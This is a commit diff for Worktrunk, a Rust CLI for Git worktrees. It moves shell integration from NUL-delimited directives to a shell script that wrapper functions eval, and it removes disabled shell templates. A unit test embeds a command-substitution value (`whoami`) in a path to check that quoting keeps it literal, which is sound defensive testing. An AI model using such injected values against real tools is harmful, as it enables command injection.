Worktrunk is a CLI for Git worktree management, designed for parallel AI agent workflows
refactor: Simplify shell integration protocol for robustness
Maximilian Roosc14a20c9a7a1
diff --git a/CLAUDE.md b/CLAUDE.mdindex 8d299be9d..cbb944cba 100644--- a/CLAUDE.md+++ b/CLAUDE.md@@ -188,7 +188,7 @@ Six canonical message patterns with their emojis:- stderr: Child process output (git, npm, user commands) + interactive prompts**Directive mode** (--internal flag for shell integration):-- stdout: Only directives (`__WORKTRUNK_CD__`, `__WORKTRUNK_EXEC__`) - NUL-terminated+- stdout: Shell script emitted at the end (e.g., `cd '/path/to/worktree'`)- stderr: All user-facing messages + child process output - streams in real-timeUse the output system (`output::success()`, `output::progress()`, etc.) to handle both modes automatically. Never write directly to stdout/stderr in command code.@@ -420,7 +420,7 @@ Cover success/error states, with/without data, and flag variations.Worktrunk supports two output modes, selected once at program startup:1. **Interactive Mode** - Human-friendly output with colors, emojis, and hints-2. **Directive Mode** - Machine-readable NUL-terminated directives for shell integration+2. **Directive Mode** - Shell script on stdout (at end), user messages on stderr (streaming)The mode is determined at initialization in `main()` and never changes during execution.@@ -465,10 +465,10 @@ The output module (`src/output/global.rs`) provides:- `raw(content)` - Raw output without emoji (JSON data)- `raw_terminal(content)` - Raw terminal output to stderr (tables)- `change_directory(path)` - Request directory change-- `execute(command)` - Execute command or emit directive+- `execute(command)` - Execute command or buffer for shell script- `flush()` - Flush output buffers- `flush_for_stderr_prompt()` - Flush before interactive prompts-- `terminate_output()` - NUL terminator in directive mode (no-op in interactive)+- `terminate_output()` - Emit shell script in directive mode (no-op in interactive)For the complete API, see `src/output/global.rs`.diff --git a/src/commands/command_approval.rs b/src/commands/command_approval.rsindex 216323b0c..d7995f26f 100644--- a/src/commands/command_approval.rs+++ b/src/commands/command_approval.rs@@ -2,12 +2,13 @@//!//! Shared helpers for approving commands declared in project configuration.+use crate::output;use anyhow::Context;use worktrunk::config::{Command, WorktrunkConfig};use worktrunk::git::not_interactive;use worktrunk::styling::{- AnstyleStyle, HINT, HINT_EMOJI, PROGRESS_EMOJI, WARNING, WARNING_BOLD, WARNING_EMOJI, eprint,- eprintln, format_bash_with_gutter, println, stderr,+ AnstyleStyle, HINT_EMOJI, PROGRESS_EMOJI, WARNING, WARNING_BOLD, WARNING_EMOJI, eprint,+ eprintln, format_bash_with_gutter, stderr,};/// Batch approval helper used when multiple commands are queued for execution.@@ -64,8 +65,8 @@ pub fn approve_command_batch(}if updated && let Err(e) = fresh_config.save() {- println!("{WARNING_EMOJI} {WARNING}Failed to save command approval: {e}{WARNING:#}");- println!("{HINT_EMOJI} {HINT}You will be prompted again next time.{HINT:#}");+ let _ = output::warning(format!("Failed to save command approval: {e}"));+ let _ = output::hint("You will be prompted again next time.");}}diff --git a/src/commands/configure_shell.rs b/src/commands/configure_shell.rsindex 2445ee242..5744f0516 100644--- a/src/commands/configure_shell.rs+++ b/src/commands/configure_shell.rs@@ -199,12 +199,7 @@ pub fn scan_shell_configs(vec![shell]} else {// Try all supported shells in consistent order- vec![- Shell::Bash,- Shell::Zsh,- Shell::Fish,- // Disabled shells: Nushell, Powershell, Oil, Elvish, Xonsh- ]+ vec![Shell::Bash, Shell::Zsh, Shell::Fish]};let mut results = Vec::new();diff --git a/src/commands/worktree.rs b/src/commands/worktree.rsindex 4a07cef8b..bd454839a 100644--- a/src/commands/worktree.rs+++ b/src/commands/worktree.rs@@ -39,21 +39,16 @@//! /path/to/worktree # ← Automatically changed!//! ```//!-//! When shell integration is enabled (`eval "$(wt config shell init bash)"`), the shell function intercepts-//! commands and adds `--internal`:+//! When shell integration is enabled (`eval "$(wt config shell init bash)"`), the shell function+//! intercepts commands and adds `--internal`://!//! 1. Shell wrapper calls: `wt switch --internal my-feature`-//! 2. Binary outputs a NUL-delimited directive stream on **stdout** and user-facing messages on-//! **stderr**:-//! ```text-//! __WORKTRUNK_CD__/path/to/worktree\0-//! ```-//! 3. Shell wrapper splits stdout on `\0` bytes-//! 4. When it sees `__WORKTRUNK_CD__<path>`, it executes `cd <path>` in the parent shell-//! 5. Messages printed to stderr stream directly to the terminal for real-time feedback+//! 2. Binary streams user-facing messages to **stderr** (real-time feedback)+//! 3. At exit, binary outputs a shell script to **stdout** (e.g., `cd '/path/to/worktree'`)+//! 4. Shell wrapper captures stdout via `$()` and evals it in the parent shell//!-//! The binary **never changes directories itself** - it just communicates the desired path back-//! to the shell wrapper via stdout using the `__WORKTRUNK_CD__` directive protocol.+//! The binary **never changes directories itself** - it just outputs a shell script that the+//! wrapper evals to perform the cd.//!//! # Implementation Details//!@@ -64,22 +59,38 @@//! - `output::handle_remove_output()`: Formats and outputs remove operation results//!//! These handlers automatically select the appropriate mode (user-friendly or directive protocol)-//! based on the `internal` flag+//! based on the `internal` flag.//!-//! ## Directive Protocol+//! ## Shell Script Protocol//!-//! Directives are NUL-terminated to support multi-line commands (e.g., via `-x` flag):+//! In directive mode (`--internal`), the binary:+//! - Streams all user messages to **stderr** (real-time, with colors)+//! - Buffers cd/exec directives internally+//! - At exit, emits a shell script to **stdout**://!-//! ```text-//! __WORKTRUNK_CD__/path/to/worktree\0-//! Message for user\0-//! __WORKTRUNK_EXEC__echo 'line1'\necho 'line2'\0+//! ```bash+//! cd '/path/to/worktree'+//! echo 'optional follow-up command'+//! ```+//!+//! The shell wrapper captures this via command substitution and evals it:+//!+//! ```bash+//! wt() {+//! local script+//! script="$("${_WORKTRUNK_CMD:-wt}" --internal "$@" 2>&2)" || {+//! local status=$?+//! [ -n "$script" ] && eval "$script"+//! return "$status"+//! }+//! eval "$script"+//! }//! ```//!-//! Shell wrappers split on `\0` bytes and process each chunk:-//! - `__WORKTRUNK_CD__<path>`: Change directory to `<path>`-//! - `__WORKTRUNK_EXEC__<command>`: Execute `<command>` (may contain newlines)-//! - Other chunks: Print as regular output+//! This pattern (stderr for logs, stdout for script) is proven by direnv. Benefits:+//! - No FIFOs, no background processes, no job control suppression+//! - Full streaming: stderr goes directly to terminal while wt runs+//! - Simple shell wrapper: just command substitution + eval//!//! ## Exit Code Semantics//!diff --git a/src/main.rs b/src/main.rsindex b607bda41..000cd49cc 100644--- a/src/main.rs+++ b/src/main.rs@@ -754,6 +754,11 @@ fn main() {}),};+ // Emit shell script (directive mode) or no-op (interactive mode)+ // Must be called before error handling so cd happens even on failure+ // (matches shell wrapper behavior which evals script regardless of exit code)+ let _ = output::terminate_output();+if let Err(e) = result {// Error messages are already formatted with emoji and colors// Route through output system to respect mode:diff --git a/src/output/directive.rs b/src/output/directive.rsindex 48903be8f..bf4934fbc 100644--- a/src/output/directive.rs+++ b/src/output/directive.rs@@ -2,58 +2,72 @@//!//! # How Shell Integration Works//!-//! Worktrunk uses a directive protocol to enable shell integration. When running with-//! `--internal` flag (invoked by shell wrapper), commands output directives that the-//! shell wrapper parses and executes.+//! Worktrunk uses a simple shell script protocol for shell integration. When running+//! with `--internal` flag (invoked by shell wrapper), all user-facing messages stream+//! to stderr in real-time, and a shell script is emitted to stdout at the very end.//!//! ## Protocol//!//! Running `wt switch --internal my-branch` outputs://!-//! **stdout** (parsed by shell wrapper):+//! **stderr** (streams directly to terminal in real-time)://! ```text-//! __WORKTRUNK_CD__/path/to/worktree\0+//! ✅ Created new worktree for my-branch at ~/worktrees/my-branch//! ```//!-//! **stderr** (streams directly to terminal):+//! **stdout** (shell script emitted at the end)://! ```text-//! ✅ Switched to worktree: my-branch+//! cd '/path/to/worktree'//! ```//!-//! The shell wrapper parses stdout:-//! - Lines starting with `__WORKTRUNK_CD__` trigger directory changes-//! - Lines starting with `__WORKTRUNK_EXEC__` trigger command execution-//! - Directives are NUL-terminated for reliable parsing-//!-//! User-facing messages go to stderr for real-time streaming without buffering.+//! The shell wrapper captures stdout via command substitution and evals it:+//! ```bash+//! wt() {+//! local script+//! script="$("${_WORKTRUNK_CMD:-wt}" --internal "$@" 2>&2)" || {+//! local status=$?+//! [ -n "$script" ] && eval "$script"+//! return "$status"+//! }+//! eval "$script"+//! }+//! ```//!-//! This separation keeps the Rust binary focused on git logic while the shell-//! handles environment changes (cd, exec).+//! ## Why This Design//!-//! ## Pattern+//! This pattern (stderr for logs, stdout for script) is proven by direnv. Benefits:+//! - No FIFOs, no background processes, no job control suppression+//! - Full streaming: stderr goes directly to terminal while wt runs+//! - Simple shell wrapper: just command substitution + eval+//! - Works identically across bash, zsh, and fish//!-//! This pattern is proven by tools like zoxide, starship, and direnv. The `--internal`-//! flag is hidden from help output—end users never interact with it directly.+//! The `--internal` flag is hidden from help output—end users never interact with it.use std::io::{self, Write};-use std::path::Path;+use std::path::{Path, PathBuf};use super::traits::OutputHandler;/// Directive output mode for shell integration///-/// Outputs NUL-terminated directives for shell wrapper to parse and execute.+/// Buffers cd/exec directives and emits them as a shell script at the end.////// See module-level documentation for protocol details.pub struct DirectiveOutput {/// Cached stderr handlestderr: io::Stderr,+ /// Target directory for cd (set by change_directory, emitted in terminate_output)+ target_dir: Option<PathBuf>,+ /// Command to execute (set by execute, emitted in terminate_output)+ exec_command: Option<String>,}impl DirectiveOutput {pub fn new() -> Self {Self {stderr: io::stderr(),+ target_dir: None,+ exec_command: None,}}}@@ -77,23 +91,43 @@ impl OutputHandler for DirectiveOutput {}// Note: raw() uses the default which calls write_message_line() -> stderr- // This is correct for directive mode where stdout is reserved for directives+ // This is correct for directive mode where stdout is reserved for the final shell scriptfn change_directory(&mut self, path: &Path) -> io::Result<()> {- write!(io::stdout(), "__WORKTRUNK_CD__{}\0", path.display())?;- io::stdout().flush()+ // Buffer the path - will be emitted as shell script in terminate_output()+ self.target_dir = Some(path.to_path_buf());+ Ok(())}fn execute(&mut self, command: String) -> anyhow::Result<()> {- write!(io::stdout(), "__WORKTRUNK_EXEC__{}\0", command)?;- io::stdout().flush()?;+ // Buffer the command - will be emitted as shell script in terminate_output()+ self.exec_command = Some(command);Ok(())}fn terminate_output(&mut self) -> io::Result<()> {- // Write NUL terminator to separate command output from subsequent directives- write!(io::stdout(), "\0")?;- io::stdout().flush()+ // Emit shell script to stdout with buffered directives+ // The shell wrapper captures this via $(...) and evals it+ let mut stdout = io::stdout();++ // cd command (if target directory was set)+ if let Some(ref path) = self.target_dir {+ // Use single quotes for safety, escape any embedded single quotes+ // Single quotes preserve all characters literally (including newlines,+ // tabs, $, `, etc.) except for single quotes themselves, which we+ // escape as '\'' (end quote, literal quote, start quote)+ let path_str = path.to_string_lossy();+ let escaped = path_str.replace('\'', "'\\''");+ writeln!(stdout, "cd '{}'", escaped)?;+ }++ // exec command (if one was set via --execute)+ if let Some(ref cmd) = self.exec_command {+ // Command is written directly - it's already shell code+ writeln!(stdout, "{}", cmd)?;+ }++ stdout.flush()}}@@ -105,42 +139,51 @@ impl Default for DirectiveOutput {#[cfg(test)]mod tests {- use std::io::Write;use std::path::PathBuf;- /// Test that directive output produces correctly formatted NUL-terminated strings- ///- /// While we can't easily test that flush() is called in unit tests,- /// we can verify the output format is correct. The flushing is critical- /// for fish shell integration to work correctly - without immediate flushing,- /// the fish shell's `while read -z chunk` loop will block waiting for data- /// that's stuck in stdout's buffer.+ /// Test that shell script output is correctly formatted#[test]- fn test_directive_format() {- // Create a buffer to capture output- let mut buffer = Vec::new();-- // Test change_directory format+ fn test_shell_script_format() {+ // Test cd command escapinglet path = PathBuf::from("/test/path");- write!(&mut buffer, "__WORKTRUNK_CD__{}\0", path.display()).unwrap();-- // Test success message format- let message = "Test message";- write!(&mut buffer, "{}\0", message).unwrap();+ let path_str = path.to_string_lossy();+ let escaped = path_str.replace('\'', "'\\''");+ let cd_cmd = format!("cd '{}'", escaped);+ assert_eq!(cd_cmd, "cd '/test/path'");+ }- // Test execute command format- let command = "echo test";- write!(&mut buffer, "__WORKTRUNK_EXEC__{}\0", command).unwrap();+ #[test]+ fn test_path_with_single_quotes() {+ // Paths with single quotes need escaping+ let path = PathBuf::from("/test/it's/path");+ let path_str = path.to_string_lossy();+ let escaped = path_str.replace('\'', "'\\''");+ let cd_cmd = format!("cd '{}'", escaped);++ // Single quote is escaped as: end quote, escaped quote, start quote+ assert_eq!(cd_cmd, "cd '/test/it'\\''s/path'");+ }- // Verify the buffer contains NUL-terminated strings- let output = String::from_utf8_lossy(&buffer);- assert!(output.contains("__WORKTRUNK_CD__/test/path\0"));- assert!(output.contains("Test message\0"));- assert!(output.contains("__WORKTRUNK_EXEC__echo test\0"));+ #[test]+ fn test_path_with_spaces() {+ // Paths with spaces are handled by single quoting+ let path = PathBuf::from("/test/my path/here");+ let path_str = path.to_string_lossy();+ let escaped = path_str.replace('\'', "'\\''");+ let cd_cmd = format!("cd '{}'", escaped);+ assert_eq!(cd_cmd, "cd '/test/my path/here'");+ }- // Verify NUL bytes are in the right places- let nul_count = buffer.iter().filter(|&&b| b == 0).count();- assert_eq!(nul_count, 3, "Should have exactly 3 NUL terminators");+ #[test]+ fn test_path_with_special_shell_chars() {+ // Shell special chars like $, `, etc. are safe inside single quotes+ let path = PathBuf::from("/test/$HOME/`whoami`/path");+ let path_str = path.to_string_lossy();+ let escaped = path_str.replace('\'', "'\\''");+ let cd_cmd = format!("cd '{}'", escaped);++ // $ and ` are literal inside single quotes, no escaping needed+ assert_eq!(cd_cmd, "cd '/test/$HOME/`whoami`/path'");}/// Test that anstyle formatting is preserved in directive output@@ -161,69 +204,7 @@ mod tests {);// Directive mode preserves styling for users viewing through shell wrapper- // (We're not testing actual output here, just documenting the behavior)- }-- #[test]- fn test_path_with_special_characters() {- // BUG HYPOTHESIS: Paths with newlines or NUL bytes could break directive parsing- let mut buffer = Vec::new();-- // Path with newline (shouldn't normally happen, but let's test)- let path = PathBuf::from("/test/path\nwith\nnewlines");- write!(&mut buffer, "__WORKTRUNK_CD__{}\0", path.display()).unwrap();-- let output = String::from_utf8_lossy(&buffer);- // The newlines are preserved - this could break parsing!- assert!(output.contains('\n'), "Newlines in path are preserved");-- // Count NUL bytes - should only be at the end- let nul_positions: Vec<_> = buffer- .iter()- .enumerate()- .filter(|&(_, &b)| b == 0)- .map(|(i, _)| i)- .collect();- assert_eq!(- nul_positions.len(),- 1,- "Should have exactly 1 NUL terminator"- );- assert_eq!(- nul_positions[0],- buffer.len() - 1,- "NUL should be at the end"- );- }-- #[test]- fn test_command_with_nul_bytes() {- // BUG HYPOTHESIS: Commands with embedded NUL bytes could break parsing- let mut buffer = Vec::new();-- let command = "echo test\0extra";- write!(&mut buffer, "__WORKTRUNK_EXEC__{}\0", command).unwrap();-- // Count NUL bytes- let nul_count = buffer.iter().filter(|&&b| b == 0).count();- // We have 2 NUL bytes: one embedded in command, one terminator- assert_eq!(- nul_count, 2,- "Embedded NUL creates extra terminator - breaks parsing!"- );- }-- #[test]- fn test_message_with_nul_bytes() {- // What if success message contains NUL bytes?- let mut buffer = Vec::new();-- let message = "Part1\0Part2";- write!(&mut buffer, "{}\0", message).unwrap();-- let nul_count = buffer.iter().filter(|&&b| b == 0).count();- // Embedded NUL plus terminator = 2 NUL bytes- assert_eq!(nul_count, 2, "Embedded NUL creates parsing ambiguity!");+ // Messages go to stderr which streams directly to terminal}#[test]@@ -286,24 +267,4 @@ mod tests {// The good pattern maintains color through the bold section}-- #[test]- fn test_path_with_ansi_codes() {- // BUG HYPOTHESIS: What if a path somehow contains ANSI codes?- // (This could happen with crafted directory names)- let mut buffer = Vec::new();-- let path = PathBuf::from("/test/\x1b[31mred\x1b[0m/path");- write!(&mut buffer, "__WORKTRUNK_CD__{}\0", path.display()).unwrap();-- let output = String::from_utf8_lossy(&buffer);- // ANSI codes are preserved in the directive!- assert!(- output.contains('\x1b'),- "ANSI codes in path leak into directive"- );-- // This could cause the shell to display colored output when parsing the directive- // or interfere with directive parsing- }}diff --git a/src/output/global.rs b/src/output/global.rsindex 87e979eab..5da05d055 100644--- a/src/output/global.rs+++ b/src/output/global.rs@@ -194,8 +194,8 @@ pub fn flush_for_stderr_prompt() -> io::Result<()> {/// Terminate command output///-/// In directive mode, writes a NUL terminator to separate command output from-/// subsequent directives. In interactive mode, this is a no-op.+/// In directive mode, emits the buffered shell script (cd and exec commands) to stdout.+/// In interactive mode, this is a no-op.pub fn terminate_output() -> io::Result<()> {with_output(|h| h.terminate_output())}diff --git a/src/output/handlers.rs b/src/output/handlers.rsindex 02a9102fc..8abf38bd8 100644--- a/src/output/handlers.rs+++ b/src/output/handlers.rs@@ -412,8 +412,6 @@ pub(crate) fn execute_streaming(/// 2. The reset must reach the terminal before child output/// 3. Writing to stdout could arrive after stderr due to buffering///-/// Calls terminate_output() after completion to handle mode-specific cleanup-/// (NUL terminator in directive mode, no-op in interactive mode).pub fn execute_command_in_worktree(worktree_path: &std::path::Path,command: &str,@@ -437,8 +435,5 @@ pub fn execute_command_in_worktree(// Flush to ensure all output appears before we continuesuper::flush()?;- // Terminate output (adds NUL in directive mode, no-op in interactive)- super::terminate_output()?;-Ok(())}diff --git a/src/output/mod.rs b/src/output/mod.rsindex 019663252..e167a9526 100644--- a/src/output/mod.rs+++ b/src/output/mod.rs@@ -51,9 +51,9 @@//! ## Output Modes//!//! - **Interactive**: Colors, emojis, shell hints, direct command execution-//! - **Directive**: Machine-readable directives on stdout, user messages on stderr-//! - stdout (parsed by shell): `__WORKTRUNK_CD__<path>\0`, `__WORKTRUNK_EXEC__<cmd>\0`-//! - stderr (streams to terminal): Success messages, progress updates, warnings+//! - **Directive**: Shell script on stdout (at end), user messages on stderr (streaming)+//! - stdout: Shell script emitted at end (e.g., `cd '/path'`)+//! - stderr: Success messages, progress updates, warnings (streams in real-time)pub mod directive;pub mod global;diff --git a/src/shell.rs b/src/shell.rsindex 2ad8557de..65d971381 100644--- a/src/shell.rs+++ b/src/shell.rs@@ -19,24 +19,7 @@ fn home_dir() -> Result<PathBuf, std::io::Error> {#[strum(serialize_all = "lowercase", ascii_case_insensitive)]pub enum Shell {Bash,- // Disabled shells (elvish, nushell, oil, powershell, xonsh)- // Uncomment when ready to support additional shells- // /// TODO: Elvish support - currently disabled due to test failures- // #[value(skip)]- // Elvish,Fish,- // /// TODO: Nushell support - currently disabled due to test failures- // #[value(skip)]- // Nushell,- // /// TODO: Oil support - currently disabled due to test failures- // #[value(skip)]- // Oil,- // /// TODO: PowerShell support - currently disabled due to test failures- // #[value(skip)]- // Powershell,- // /// TODO: Xonsh support - currently disabled due to test failures- // #[value(skip)]- // Xonsh,Zsh,}@@ -66,38 +49,7 @@ impl Shell {.join("conf.d").join("wt.fish"),]- } // Disabled shells - uncomment when ready to support- // Self::Nushell => {- // vec![home.join(".config").join("nushell").join("config.nu")]- // }- // Self::Powershell => {- // if cfg!(target_os = "windows") {- // let userprofile = PathBuf::from(- // std::env::var("USERPROFILE").unwrap_or_else(|_| ".".to_string()),- // );- // vec![- // userprofile- // .join("Documents")- // .join("PowerShell")- // .join("Microsoft.PowerShell_profile.ps1"),- // ]- // } else {- // vec![- // home.join(".config")- // .join("powershell")- // .join("Microsoft.PowerShell_profile.ps1"),- // ]- // }- // }- // Self::Oil => {- // vec![home.join(".config").join("oil").join("oshrc")]- // }- // Self::Elvish => {- // vec![home.join(".config").join("elvish").join("rc.elv")]- // }- // Self::Xonsh => {- // vec![home.join(".xonshrc")]- // }+ }})}@@ -154,38 +106,7 @@ impl Shell {"if type -q wt; command wt config shell init {} | source; end",self)- } // Disabled shells - uncomment when ready to support- // Self::Oil => {- // format!(- // "if command -v {} >/dev/null 2>&1; then eval \"$(command {} init {})\"; fi",- // cmd_prefix, cmd_prefix, self- // )- // }- // Self::Nushell => {- // // Use user's home directory cache instead of shared /tmp for security- // format!(- // "if (which {} | is-not-empty) {{ let tmpfile = ($env.HOME | path join \".cache\" \"nushell-{}-init.nu\"); ^{} init {} | save --force $tmpfile; source $tmpfile }}",- // cmd_prefix, cmd_prefix, cmd_prefix, self- // )- // }- // Self::Powershell => {- // format!(- // "if (Get-Command {} -ErrorAction SilentlyContinue) {{ Invoke-Expression (& {} init {}) }}",- // cmd_prefix, cmd_prefix, self- // )- // }- // Self::Elvish => {- // format!(- // "if (has-external {}) {{ eval (e:{} init {}) }}",- // cmd_prefix, cmd_prefix, self- // )- // }- // Self::Xonsh => {- // format!(- // "import shutil; exec(shutil.which('{}') and $({} init {}).strip() or '')",- // cmd_prefix, cmd_prefix, self- // )- // }+ }}}@@ -214,15 +135,6 @@ impl Shell {.map(PathBuf::from).unwrap_or_else(|_| home.clone()).join(".zshrc"),- // Disabled shells- // // Nushell- // home.join(".config/nushell/config.nu"),- // // Elvish- // home.join(".config/elvish/rc.elv"),- // // Xonsh- // home.join(".xonshrc"),- // // Powershell- // home.join(".config/powershell/Microsoft.PowerShell_profile.ps1"),];// Check standard config files for eval pattern (any prefix)@@ -317,43 +229,7 @@ impl ShellInit {Shell::Fish => {let template = FishTemplate { cmd_prefix: "wt" };template.render()- } // Disabled shells - uncomment when ready to support- // Shell::Oil => {- // let posix_shim = PosixDirectivesTemplate {- // cmd_prefix: &self.cmd_prefix,- // }- // .render()?;- // let template = BashTemplate {- // shell_name: self.shell.to_string(),- // cmd_prefix: &self.cmd_prefix,- // posix_shim: &posix_shim,- // };- // template.render()- // }- // Shell::Nushell => {- // let template = NushellTemplate {- // cmd_prefix: &self.cmd_prefix,- // };- // template.render()- // }- // Shell::Powershell => {- // let template = PowershellTemplate {- // cmd_prefix: &self.cmd_prefix,- // };- // template.render()- // }- // Shell::Elvish => {- // let template = ElvishTemplate {- // cmd_prefix: &self.cmd_prefix,- // };- // template.render()- // }- // Shell::Xonsh => {- // let template = XonshTemplate {- // cmd_prefix: &self.cmd_prefix,- // };- // template.render()- // }+ }}}}@@ -389,35 +265,6 @@ struct FishTemplate<'a> {cmd_prefix: &'a str,}-// Disabled shell templates - uncomment when ready to support-// /// Nushell shell template-// #[derive(Template)]-// #[template(path = "nushell.nu", escape = "none")]-// struct NushellTemplate<'a> {-// cmd_prefix: &'a str,-// }-//-// /// PowerShell template-// #[derive(Template)]-// #[template(path = "powershell.ps1", escape = "none")]-// struct PowershellTemplate<'a> {-// cmd_prefix: &'a str,-// }-//-// /// Elvish shell template-// #[derive(Template)]-// #[template(path = "elvish.elv", escape = "none")]-// struct ElvishTemplate<'a> {-// cmd_prefix: &'a str,-// }-//-// /// Xonsh shell template-// #[derive(Template)]-// #[template(path = "xonsh.xsh", escape = "none")]-// struct XonshTemplate<'a> {-// cmd_prefix: &'a str,-// }-/// Detect if user's zsh has compinit enabled by probing for the compdef function.////// Zsh's completion system (compinit) must be explicitly enabled - it's not on by default.diff --git a/templates/elvish.elv b/templates/elvish.elvdeleted file mode 100644index 5e9ce2cb9..000000000--- a/templates/elvish.elv+++ /dev/null@@ -1,121 +0,0 @@-# worktrunk shell integration for elvish--# Only initialize if {{ cmd_prefix }} is available (in PATH or via WORKTRUNK_BIN)-if (or (has-external {{ cmd_prefix }}) (has-env WORKTRUNK_BIN)) {- # Use WORKTRUNK_BIN if set, otherwise default to '{{ cmd_prefix }}'- # This allows testing development builds: set E:WORKTRUNK_BIN = ./target/debug/{{ cmd_prefix }}- var _WORKTRUNK_CMD = {{ cmd_prefix }}- if (has-env WORKTRUNK_BIN) {- set _WORKTRUNK_CMD = $E:WORKTRUNK_BIN- }-- # Helper function to parse wt output and handle directives- # Directives are NUL-terminated to support multi-line commands- # NOTE: Uses 'slurp' which buffers output. Elvish's I/O model doesn't provide- # good primitives for byte-level streaming of process output while also capturing- # it for directive processing. Exit codes are now captured correctly.- fn wt_exec {|@args|- var exit-code = 0- var output = ""- var exec-cmd = ""-- # Capture stdout for directives, let stderr pass through to terminal- # This preserves TTY for color detection- try {- set output = (e:$_WORKTRUNK_CMD $@args | slurp)- } catch e {- # Extract exit code, defaulting to 1 if unavailable- set exit-code = 1- if (has-key $e[reason] exit-status) {- set exit-code = $e[reason][exit-status]- }- # Capture any error content- if (has-key $e[reason] content) {- set output = $e[reason][content]- }- }-- # Split output on NUL bytes, process each chunk- var chunks = [(str:split "\x00" $output)]- for chunk $chunks {- if (str:has-prefix $chunk "__WORKTRUNK_CD__") {- # CD directive - extract path and change directory- var path = (str:trim-prefix $chunk "__WORKTRUNK_CD__")- if (path:is-dir $path) {- cd $path- } else {- echo "Error: Not a directory: "$path >&2- }- } elif (str:has-prefix $chunk "__WORKTRUNK_EXEC__") {- # EXEC directive - extract command (may contain newlines)- set exec-cmd = (str:trim-prefix $chunk "__WORKTRUNK_EXEC__")- } elif (!=s $chunk "") {- # Regular output - print it (preserving newlines)- print $chunk- }- }-- # Execute command if one was specified- # Exit code semantics: If wt fails, returns wt's exit code (command never executes).- # If wt succeeds but command fails, returns the command's exit code.- if (!=s $exec-cmd "") {- try {- # Security: Command comes from wt --internal output; eval is intentional- eval $exec-cmd- set exit-code = 0- } catch e {- # Extract exit code, defaulting to 1 if unavailable- set exit-code = 1- if (has-key $e[reason] exit-status) {- set exit-code = $e[reason][exit-status]- }- }- }-- # Return exit code (will throw exception if non-zero)- if (!=s $exit-code 0) {- fail "command failed with exit code "$exit-code- }- }-- # Override {{ cmd_prefix }} command to add --internal flag- fn {{ cmd_prefix }} {|@args|- var use-source = $false- var filtered-args = []- var saved-cmd = $_WORKTRUNK_CMD-- # Check for --source flag and strip it- for arg $args {- if (eq $arg "--source") {- set use-source = $true- } else {- set filtered-args = [$@filtered-args $arg]- }- }-- # If --source was specified, build and use local debug binary- if $use-source {- try {- e:cargo build --quiet 2>&1 | slurp- } catch e {- echo "Error: cargo build failed" >&2- fail "cargo build failed"- }- set _WORKTRUNK_CMD = ./target/debug/{{ cmd_prefix }}- }-- # Force colors if stderr is a TTY (directive mode outputs to stderr)- # Respects NO_COLOR and explicit CLICOLOR_FORCE- if (and (not (has-env NO_COLOR)) (not (has-env CLICOLOR_FORCE))) {- if (isatty stderr) {- set E:CLICOLOR_FORCE = 1- }- }-- # Always use --internal mode for directive support- wt_exec --internal $@filtered-args-- # Restore original command- set _WORKTRUNK_CMD = $saved-cmd- }-}diff --git a/templates/fish.fish b/templates/fish.fishindex 348b25419..c1fd07024 100644--- a/templates/fish.fish+++ b/templates/fish.fish@@ -2,87 +2,28 @@# Only initialize if {{ cmd_prefix }} is available (in PATH or via WORKTRUNK_BIN)if type -q {{ cmd_prefix }}; or set -q WORKTRUNK_BIN- # Use WORKTRUNK_BIN if set, otherwise default to '{{ cmd_prefix }}'- # This allows testing development builds: set -x WORKTRUNK_BIN ./target/debug/{{ cmd_prefix }}- if set -q WORKTRUNK_BIN- set -g _WORKTRUNK_CMD $WORKTRUNK_BIN- else- set -g _WORKTRUNK_CMD {{ cmd_prefix }}- end-- # Helper function to parse wt output and handle directives- # Directives are NUL-terminated to support multi-line commands+ # Helper function to run wt and eval the output script+ # stderr streams to terminal for real-time feedback, stdout is captured as shell script#- # IMPORTANT: No "begin...end" block on the left side of the pipe!- # Fish runs only one piece of fish script at a time; a block on the LHS- # would serialize the pipeline (RHS wouldn't run until LHS finishes).- # By keeping the LHS as a plain external command, the RHS can consume- # the stream concurrently, preserving temporal ordering.+ # Set WORKTRUNK_BIN to test development builds: set -x WORKTRUNK_BIN ./target/debug/wtfunction wt_exec- set -l exec_cmd ""-- # Debug mode: set WORKTRUNK_DEBUG=1 to see what's happening- set -l debug_mode 0- if set -q WORKTRUNK_DEBUG- set debug_mode 1- echo "[DEBUG] Starting wt_exec with args: $argv" >&2- end-- # CRITICAL: Do NOT add "2>&1" here!- # We want child stderr to remain a TTY (via Stdio::inherit() in Rust)- # so that child processes stream output in real-time with colors/progress bars.- # Only worktrunk's stdout (directives + messages) flows through this pipe.- set -l chunk_count 0- command $_WORKTRUNK_CMD $argv | while read -z chunk- set chunk_count (math $chunk_count + 1)- if test $debug_mode -eq 1- echo "[DEBUG] Chunk $chunk_count length: "(string length -- $chunk) >&2- echo "[DEBUG] Chunk $chunk_count first 50 chars: "(string sub -l 50 -- $chunk) >&2- end-- if string match -q '__WORKTRUNK_CD__*' -- $chunk- # CD directive - extract path and change directory- set -l path (string replace '__WORKTRUNK_CD__' '' -- $chunk)- if test $debug_mode -eq 1- echo "[DEBUG] CD directive: $path" >&2- end- if not cd $path- echo "Error: Failed to change directory to $path" >&2- end- else if string match -q '__WORKTRUNK_EXEC__*' -- $chunk- # EXEC directive - extract command (may contain newlines)- set exec_cmd (string replace '__WORKTRUNK_EXEC__' '' -- $chunk)- if test $debug_mode -eq 1- echo "[DEBUG] EXEC directive: $exec_cmd" >&2- end- else if test -n "$chunk"- # Regular output - print it with newline- if test $debug_mode -eq 1- echo "[DEBUG] Message chunk" >&2- end- printf '%s\n' $chunk+ set -l cmd (if set -q WORKTRUNK_BIN; echo $WORKTRUNK_BIN; else; echo {{ cmd_prefix }}; end)++ # Capture stdout (shell script), let stderr flow to terminal+ # Use string collect to join lines into a single string (fish splits on newlines by default)+ set -l script (command $cmd $argv 2>&2 | string collect)+ set -l exit_code $pipestatus[1]++ # Eval the script (cd, exec command, etc.) even on failure+ # This ensures cd happens before returning the error code+ if test -n "$script"+ eval $script+ # If script contains a command (--execute), use its exit code+ if test $exit_code -eq 0+ set exit_code $statusendend- # CRITICAL: Capture $pipestatus IMMEDIATELY after the pipe, before ANY other commands!- # Every command (including 'if', 'test', 'echo') clobbers $pipestatus- set -l codes $pipestatus- set -l exit_code $codes[1]-- if test $debug_mode -eq 1- echo "[DEBUG] Finished reading, total chunks: $chunk_count" >&2- echo "[DEBUG] Pipeline status codes: $codes" >&2- echo "[DEBUG] Exit code: $exit_code" >&2- end-- # Execute command if one was specified- # Exit code semantics: If wt fails, returns wt's exit code (command never executes).- # If wt succeeds but command fails, returns the command's exit code.- if test -n "$exec_cmd"- eval $exec_cmd- set exit_code $status- end-return $exit_codeend@@ -90,7 +31,6 @@ if type -q {{ cmd_prefix }}; or set -q 